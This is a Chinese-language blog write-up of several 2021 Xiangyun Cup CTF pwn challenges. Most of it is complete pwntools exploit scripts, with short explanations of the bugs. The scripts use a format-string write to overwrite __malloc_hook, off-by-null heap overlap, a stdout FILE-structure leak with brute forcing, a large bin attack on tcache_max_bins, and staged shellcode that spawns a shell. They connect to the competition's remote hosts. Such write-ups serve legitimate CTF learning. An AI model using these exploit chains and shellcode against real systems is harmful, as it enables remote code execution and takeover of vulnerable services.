Niyah

祥云杯部分Pwn

再不复现估计都忘了

# note

说实话看到这个格式化字符串漏洞时我反应了挺久的

1

scanf 任意写,通过对 stdout 写入数据来泄露 libc,最后修改__malloc_hook 为 ogg 并通过 realloc 调整栈帧 getshell

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './2021note'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-arm', binary])
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = '47.104.70.90'
    port = '25315'
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla(':',num)

def add(size,content):
    cmd(1)
    sla('size:',size)
    sla('content:',content)
    ru('addr: 0x')
    return rint

def say(agr , text):
    cmd(2)
    sa('say ?',agr)
    sla('?',text)

one_gad = one_gadget(libc.path)
heap_addr = add(0x20,'aaa')

payload = p64(0xfbad1800) + p64(0)*3
say('%7$s' , payload)
leak = l64()
_IO_2_1_stdin_ = leak + (0x7f3038ceb8e0 - 0x7f3038cea6e0)

libc.address =_IO_2_1_stdin_ - libc.sym['_IO_2_1_stdin_']
ogg = libc.address + one_gad[1]
__malloc_hook = libc.sym['__malloc_hook'] - 0x8
realloc = libc.sym['realloc']
lg('__malloc_hook',__malloc_hook)

# dbg('__isoc99_scanf')

say('%7$saaaa'  + p64(__malloc_hook), p64(ogg) + p64(realloc + 8) + p64(0))

cmd(1)
# dbg('malloc')
sla('size:',0x20)


p.interactive()

'''
@File    :   2021note.py
@Time    :   2021/08/21 09:57:32
@Author  :   Niyah 
'''

# PassWordBox_FreeVersion

add 这里有个 offbynull

1

1

程序会对输入的数据每八字节通过 key 进行异或,第一次 add 会输出加密数据所以第一次 add 的数据为空则会直接输出 key

之后就是 offbynull 构造堆块重叠了

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './pwdFree'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-arm', binary])
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = '47.104.71.220'
    port = '38562'
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(num):
    sla(':',num)

def add(id,size,pwd):
    cmd(1)
    sla('Input The ID You Want Save:',id)
    sla('Length Of Your Pwd:',size)
    sa('Your Pwd:',pwd)

def delete(id):
    cmd(4)
    sla('Idx you want 2 Delete:',id)

def show(id):
    cmd(3)
    sla('Want Check:',id)

def edit(id,text):
    cmd(2)
    sl(str(id))
    sleep(0.1)
    se(text)

def decode(payload):
    global key
    rst = ''
    for i in range(0, len(payload) , 8):
        rst += p64( u64 ( payload[i:i+8] ) ^ key)
    return rst

# key 0x0000000000004040

add('a', 0xf8 , '\x00'*8 + '\n')
ru('Save ID:')
key = u64(p.recv(8))
lg('key',key)

for i in range(6):
    add('a', 0xf8 , 'a'*8 + '\n')

add('a', 0xf8 , 'a'*8 + '\n') #6
add('a', 0xf8 , 'a'*8 + '\n')
add('a', 0xf8 , 'a'*8 + '\n')
add('a', 0xf8 , 'a'*8 + '\n') #9

add('a',0x18,p64(0x6873^key) + '\n') #10

for i in range(6):
    delete(i)

delete(9)
delete(7)

payload = flat(0,0,0x100*3 ).rjust(0xf8,'\x00')

add( 'a', 0xf8 , decode(payload)) #0
delete(6)
delete(10)

# 8 , 0
add( 'a', 0x78 , 'a\n') #1
add( 'a', 0x78 , 'a\n') #2

show(8)
ru('Pwd is: ')
__malloc_hook = u64(p.recv(8)) ^ key 
lg('__malloc_hook',__malloc_hook)

libc.address = __malloc_hook - libc.sym['__malloc_hook'] - 0x70
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']

add( 'a', 0x78 , 'a\n') #3
add( 'a', 0x78 , 'a\n') #4

delete(3)
edit(8,p64(__free_hook))

sleep(0.1)

add('a', 0x78 , 'a\n')

lg('__free_hook',__free_hook)
lg('system',system)

add('a', 0x78 , p64(system ^ key) + p64(0^key)*14 )
delete(11)

p.interactive()

'''
@File    :   pwdFree.py
@Time    :   2021/08/21 20:08:21
@Author  :   Niyah 
'''

# Lemon

Lemon 这题方法用错了,爆破了挺久的,官方解的话好像两下就出来了

这里首先绕一下把 flag 存到栈上

1

add 这里有个 double free 但只能申请 0x30 大小的,通过这个可以修改 chunk 头

1

edit 存在堆溢出,可以控制 tcache 管理块从而使用 fastbin,但 edit 只有一次(师傅说这里有个负溢出,看了看确实)

1

本题 onegadget 一个都不能用,调栈帧都不行,只能不断申请 stdout 将栈上的 flag 打印出来

1

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
context.update( os = 'linux', arch = 'amd64')
binary = './lemon_pwn'
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.26.so')
context.binary = binary
DEBUG = 0
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-arm', binary])
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = '47.104.70.90'
    port = '34524'
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def exhaust( pwn ):
    global p
    i = 0
    while 1 :
        try:
            i+=1
            pwn()
        except:
            lg('times ========> ',i)
            p.close()
            if (DEBUG):
                p = process(binary)
            else :
                p = remote(host,port)

def cmd(num):
    sla('>>',num)

def add(idx,name,size,content):
    cmd(1)
    sla('index of your lemon: ',idx)
    sa('Now, name your lemon: ',name)
    sla('message for you lemon: ',size)
    sa('your message: ',content)

def eadd(idx,name,size = 0x600):
    cmd(1)
    sla('index of your lemon: ',idx)
    sa('Now, name your lemon: ',name)
    sla('message for you lemon: ',size)

def delete(idx):
    cmd(3)
    sla('index of your lemon : ',idx)

def show(idx):
    cmd(2)
    sla('index of your lemon : ',idx)

def edit(idx,content):
    cmd(4)
    sla('Input the index of your lemon  : ',idx)
    sa('draw and color!',content)

def attack():

    sla('with me?','yes')
    # dbg()
    sa('lucky number: ',0x700048)
    sla('tell me you name first:','a')
    ru('is 0x')

    stack_low_addr = rint(3)
    lg('stack_low_addr',stack_low_addr)

    # sla('with me?','g')

    add(0 , 'a'*0x10 , 0x248,'a')
    add(1 , 'a'*0x10 , 0x248,'a')
    delete(1)
    delete(0)
    add(0 , 'a'*0x10 , 0x40 , 'a' )
    show(0)
    ru('eat eat eat ')
    addr = int(p.recvuntil('.')[:-1]) + 0x50
    lg('addr',addr)

    fake = flat( 0 ,0,0,0 ,0 , 0x251) +p16(addr & 0xf000 + 0x10)
    edit(0 ,fake )
    add( 0 , 'a'*0x10 , 0x248 , '\x07'*0x40 )
    add( 0 , 'a'*0x10 , 0x248 , '\x01'*2 + '\x07'*0x3e )

    add( 2 , 'a'*0x10 , 0x18 , flat(0,0x31) )
    add( 2 , 'a'*0x10 , 0x68 , flat(0,0x31) )
    add( 3 , 'a'*0x10 , 0x68 , '\x07'*0x40 )
    add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )
    add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )

    eadd( 1 , 'a')
    delete(1)
    add( 1 , p16((addr& 0xf000) + 0x820) , 0x28 , p16((addr& 0xf000) + 0x820))
    add( 1 , flat(0, 0x30*4 + 0x70*4 + 1) , 0x68 , 'a')
    delete(2)
    delete(3)
    add( 1 , 'a' , 0x28 , 'a')
    delete(1)
    add( 1 , 'a' , 0x28 + 0x70 , 'a')
    low_addr = 0x96dd
    delete(1)

    add( 1 , 'a' , 0x68 + 0x40 ,  '\x00'*0x98  + p64(0x71)+ p16(low_addr) )
    add( 1 , 'a' , 0x68 , p16(low_addr) )

    fake_io =  "\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + "\x00"
    add( 1 , 'a' , 0x68 , fake_io)
    leak = l64()
    if leak == 0:
        exit(0)
    lg('leak',leak)

    _IO_2_1_stdout_ = leak + 0x20
    libc.address = _IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
    environ = libc.sym['__environ']
    lg('_IO_2_1_stdout_',_IO_2_1_stdout_)
    io_chunk = _IO_2_1_stdout_ - 0x43
    
    delete(0)
    add( 1 , 'a' , 0xf0 , 'a')
    delete(1)
    add( 1 , 'a' , 0x160 ,  'a'*0xf8 + flat(0x71 , io_chunk ) )
    add( 3 , 'a' , 0x68 , 'a')

    fake_io = "\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + flat(environ - 0x8 , environ + 0x8)

    add( 2 , 'a' , 0x68 , fake_io )
    stack_addr = l64()

    lg('stack_addr',stack_addr)

    add( 2 , 'a'*0x10 , 0x18 , flat(0,0x31) )
    add( 2 , 'a'*0x10 , 0x68 , flat(0,0x31) )
    add( 3 , 'a'*0x10 , 0x68 , flat(0,0x31) )
    add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )
    add( 0 , 'a'*0x10 , 0x68 , flat(0,0x31) )

    eadd( 1 , 'a')
    delete(1)

    add( 1 , p16((addr& 0xf000) + 0xbf0) , 0x28 , p16((addr& 0xf000) + 0xbf0))
    add( 1 , flat(0, 0x30*4 + 0x70*4 + 1) , 0x68 , 'a')
    delete(2)
    delete(3)

    add( 1 , 'a' , 0x28 , 'a')
    delete(1)
    add( 1 , 'a' , 0x28 + 0x70 , 'a')
    delete(1)
    add( 1 , 'a' , 0x68 + 0x40 ,  '\x00'*0x98  + p64(0x71)+ p64(io_chunk) )
    add( 1 , 'a' , 0x68 , 'a' )
    flag_addr = stack_addr - 0x188

    lg('flag_addr',flag_addr)
    fake_io = "\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + flat(flag_addr ,flag_addr + 0x50)
    add( 1 , 'a' , 0x68 , fake_io)
    

    p.interactive()

# attack()
exhaust(attack)

'''
@File    :   lemon_pwn.py
@Time    :   2021/08/21 11:59:54
@Author  :   Niyah 
'''

# PassWordBox_ProVersion

接下来就是我没有做出来的题了,说实话这题准备用 ha1vk 师傅的 house of banana 方法做的,但是就是差那么一点点

这题的洞比前面那题还简单,纯纯的 uaf,但是只能申请 large bin 范围里边的堆块,这时候就需要考虑 large bin attack 了,large bin attack 可以向一个地址写一个很大的值,官方解法是向 tcache_max_bins 写一个很大的值,让不属于 tcache 的比较大的堆块也属于 tcache ,有了 tcache 后就随便打了

tcache_max_bins 储存了 tcache 的种类数量,一个我不知道的知识点,还是太菜了

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
#context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './pwdPro'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-arm', binary])
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = '47.104.71.220'
    port = '38562'
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(num):
    sla(':',num)

def add(idx,id,size,pwd):
    cmd(1)
    sla('Which PwdBox You Want Add:',idx)
    sla('Input The ID You Want Save:',id)
    sla('Length Of Your Pwd:',size)
    sa('Your Pwd:',pwd)

def delete(id):
    cmd(4)
    sla('Idx you want 2 Delete:',id)

def show(id):
    cmd(3)
    sla('Want Check:',id)

def edit(id,text):
    cmd(2)
    sla('Which PwdBox You Want Edit:',id)
    sleep(0.1)
    se(text)

def recovery(id):
    cmd(5)
    sla('Idx you want 2 Recover:',id)

def decode(payload):
    global key
    rst = ''
    for i in range(0, len(payload) , 8):
        rst += p64( u64 ( payload[i:i+8] ) ^ key)
    return rst

# 总结 如果知道 large bin attack 后续操作那将会是非常简单的一道题

add(0 ,'a', 0x528 , '\x00'*8 + '\n')
ru('Save ID:')
key = u64(p.recv(8))
lg('key',key)
add(1 ,'a', 0x500 , '\x00'*8 + '\n')
add(2 ,'a', 0x518 , '\x00'*8 + '\n')
add(3 ,'a', 0x500 , '\x00'*8 + '\n')
add(9 ,'a', 0x500 , '\x00'*8 + '\n')

delete(0)
recovery(0)
# dbg()
show(0)
ru('Pwd is: ')
leak = u64(p.recv(8)) ^ key 

__malloc_hook = leak - 0x70
global_max_fast = leak + 0x2fa0
libc.address = __malloc_hook - libc.sym['__malloc_hook']
tcache_max_bins = 0x1eb2d0 + libc.address
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']

lg('tcache_max_bins',tcache_max_bins)

add(4 ,'a', 0x538 , '\x00'*8 + '\n')

delete(2)

show(0)
ru('Pwd is: ')
fd = u64(p.recv(8)) ^ key 
p.recv(8)
fdn = u64(p.recv(8)) ^ key 
lg('fd',fd)
lg('fdn',fdn)

fake = flat( fd , fd , fdn , tcache_max_bins - 0x20 )
edit(0 ,fake )

lg('libc.address',libc.address)
lg('__malloc_hook',__malloc_hook)
add(5 ,'a', 0x530 , '\x00'*8 + '\n')

delete(1)
delete(3)

recovery(3)
edit(3,p64(__free_hook))
add(6 , 'a' , 0x500 , '\n')
add(7 , 'a' , 0x500 , decode(p64(system)) + '\n')
edit(9 , '/bin/sh\x00')
delete(9)

# dbg()

p.interactive()

'''
@File    :   pwdFree.py
@Time    :   2021/08/21 20:08:21
@Author  :   Niyah 
'''

# JigSaw’sCage

说实话,不难,但不知道为啥比赛时没深做

另外参照了 W&M 战队的方法:祥云杯 2021 By W&M(Pwn)部分 (qq.com)

这题就更加明显了,直接可以让你执行长度小于 0x10 的 shellcode,但前提是让堆有执行权限

1

在最开始的时候有个洞 v1 只是整形,而可以输入长整形,那么我们可以把下面的随机数也一起控制了

image-20210830212630568

这样就让堆有了执行权限

1

话说我看了挺多 wp,发现还是 wjh 师傅的 shellcode 最简单,充分考虑到了执行 shellcode 时各个寄存器的情况

rax 为 0 刚好可以作为 read 的系统调用号,rdx 为执行的 shellcode 地址,刚好可以作为 read 的写入地址,之后直接读入大段 shellcode 即可

再贴一下 Aidai 爷的短 shellcode

asm(shellcraft.read(0,'rsp',0xff)+';jmp rsp')

执行shellcode寄存器情况

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
context.log_level = 'debug' 
context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './JigSAW'
elf = ELF(binary)
libc = elf.libc
#libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
    p = process(binary)
    libc = elf.libc
    #p = process(['qemu-arm', binary])
    #p = process(['qemu-aarch64','-L','',binary])
    #p = process(['qemu-aarch64','-L','',-g,'1234',binary])
else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def exhaust( pwn ):
    global p
    i = 1
    while 1 :
        try:
            i+=0
            pwn()
        except:
            lg('times ======== > ',i)
            p.close()
            if (DEBUG):
                p = process(binary)
            else :
                p = remote(host,port)

def one_gadget(filename):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(
        ['one_gadget','--raw', '-f',filename]
    )).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla(':',num)

def add(id):
    cmd(1)
    sla('Index? :',id)
    
def edit(id,text):
    cmd(2)
    sla('Index? :',id)
    sa('iNput:',text)

def test(id):
    cmd(4)
    sla('Index? :',id)

sla('Name','niayh')
sla('Make your Choice:',u64(p32(0) + p32(16)))

# 首先通过溢出修改执行权限

shellcode = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''
# 这里的 shellcode 因为长度受限,需要充分利用调用时各个寄存器的值
# 程序使用了 call rdx ,这里 rdx 为 heap 段地址,还把 rax 给置 0 
# 我们就可以进行 0 号系统调用 read 读到我们正在执行的 heap 中

lg("len",len(asm(shellcode)))
# 系统调用 read 读入 

add(0)
edit(0, asm(shellcode))

# dbg()
test(0)
se('\x90' * 0x20 + asm(shellcraft.sh()))

# 因为程序刚好在执行这段上面这条汇编
# 这样操作刚好属于在执行的过程中把要执行的代码修改了
# wjh 师傅tql,使用 nop 指令滑到 shellcode

# 当然也可以多次对小片段 shellcode 来利用

p.interactive()

'''
@File    :   JigSAW.py
@Time    :   2021/08/24 17:58:53
@Author  :   Niyah 
'''

# 还有一道 C 嘉嘉写的 pwn,我先学一些再来复现

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。